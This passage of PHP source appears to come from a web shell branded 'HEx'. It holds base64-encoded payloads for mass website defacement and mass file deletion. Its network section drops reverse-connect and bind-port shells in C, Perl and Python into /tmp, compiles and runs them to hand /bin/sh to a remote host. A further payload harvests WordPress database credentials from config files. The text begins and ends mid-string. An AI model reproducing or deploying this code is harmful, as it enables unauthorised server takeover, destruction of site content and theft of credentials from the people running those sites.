J01hc3MnXSA9PSAnb25lZGlyJykgewogICAgZWNobyAiPGJyPiBWZXJzaSBUZXh0IEFyZWE8YnI+PHRleHRhcmVhIHN0eWxlPSdiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTtjb2xvcjpyZWQ7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz4KIjsKICAgICRpbmkgPSAiaHR0cDovLyI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAiJGluaSRyb3cvJGZpbGUKIjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+PGJyPjxiPlZlcnNpIFRleHQ8L2I+PGJyPjxicj48YnI+CiI7CiAgICAkbWFpbnBhdGggPSAkX1BPU1RbZF9kaXJdOwogICAgJGZpbGUgPSAkX1BPU1RbZF9maWxlXTsKICAgICRkaXIgPSBvcGVuZGlyKCIkbWFpbnBhdGgiKTsKICAgICRjb2RlID0gYmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CiAgICAkaW5keCA9IGJhc2U2NF9kZWNvZGUoJGNvZGUpOwogICAgd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiAgICAgICAgJHN0YXJ0ID0gQGZvcGVuKCIkcm93LyRmaWxlIiwgIncrIik7CiAgICAgICAgJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkaW5keCk7CiAgICAgICAgaWYgKCRmaW5pc2gpIHsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iaHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnIiB0YXJnZXQ9Il9ibGFuayI+aHR0cDovLycgLiAkcm93IC4gJy8nIC4gJGZpbGUgLiAnPC9hPjxicj4nOwogICAgICAgIH0KICAgIH0KfSBlbHNlaWYgKCRfUE9TVFsnTWFzcyddID09ICdzYWJ1bmthYmVoJykgewogICAgZ2FzcygpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ2hhcHVzTWFzc2FsJykgewogICAgaGFwdXNfTWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7Cn0gZWxzZWlmICgkX1BPU1RbJ01hc3MnXSA9PSAnc2FidW5tZW1hdGlrYW4nKSB7CiAgICBnYXNzX2FsbCgpOwp9IGVsc2VpZiAoJF9QT1NUWydNYXNzJ10gPT0gJ01hc3NkZWZhY2UnKSB7CiAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICBzYWJ1bl9NYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgIGVjaG8gIjwvZGl2PiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPgkJPGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPlNlbGVjdCBUeXBlOjxicj48L2ZvbnQ+PHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJNYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmZcIiBoZWlnaHQ9XCIxMFwiID48b3B0aW9uIHZhbHVlPVwib25lZGlyXCI+TWFzcyBEZWZhY2UgMSBEaXI8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cIk1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cInNhYnVua2FiZWhcIj5DdXJyZW50IERpciBBbGwgRmlsZXM8L29wdGlvbj4JPG9wdGlvbiB2YWx1ZT1cInNhYnVubWVtYXRpa2FuXCI+UmVwbGFjZSBFdmVyeXRoaW5nIFdpdGggRGVmYWNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImhhcHVzTWFzc2FsXCI+TWFzcyBEZWxldGUgRmlsZXM8L29wdGlvbj48L2NlbnRlcj48L3NlbGVjdD48YnI+PGZvbnQgZmFjZT0nSWNlbGFuZCcgY29sb3I9J29yYW5nZScgc2l6ZT0nMycgPkZvbGRlcjo8L2ZvbnQ+PGJyPgk8aW5wdXQgbmFtZT0nZF9kaXInIHZhbHVlPSciLmdldGN3ZCgpLiInIHJlcXVpcmVkPScnIHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGJhY2tncm91bmQtY29sb3I6IzIwMjgzMjsgY29sb3I6I2ZmZmZmZicgaGVpZ2h0PScxMCc+PGJyPjxmb250IGZhY2U9J0ljZWxhbmQnIGNvbG9yPSdvcmFuZ2UnIHNpemU9JzMnID5GaWxlbmFtZTo8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5odG1sJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7IGNvbG9yOiNmZmZmZmYnIGhlaWdodD0nMTAnPjxicj48Zm9udCBmYWNlPSdJY2VsYW5kJyBjb2xvcj0nb3JhbmdlJyAgc2l6ZT0nMycgPkluZGV4IEZpbGU6PC9mb250Pjxicj4KCQoJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyMDBweDsgYmFja2dyb3VuZC1jb2xvcjojMjAyODMyOyBjb2xvcjojZmZmZmZmICc+ICA8YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+PGgxPiBIYWNrZWQgQnkgSEV4IDxicj4gUGFraXN0YW4gWmluZGFiYWQ8L2gxPjwvY2VudGVyPiAgPC90ZXh0YXJlYT48YnI+CgkKCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogMjAwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9kaXY+IjsgfSAgPz4gCg==";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/mas.php\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\t\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>"; \r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END \r\nfunction actionMassuser() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Title Edit</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "title.php";\r\n\t$mass_script = "PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ+CjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio/aHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+CkxpbmsgQ29uZmlnOiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc+IjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc+SUQ6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8+CiAgICAgICAgPC9kaXY+IDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc+CjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb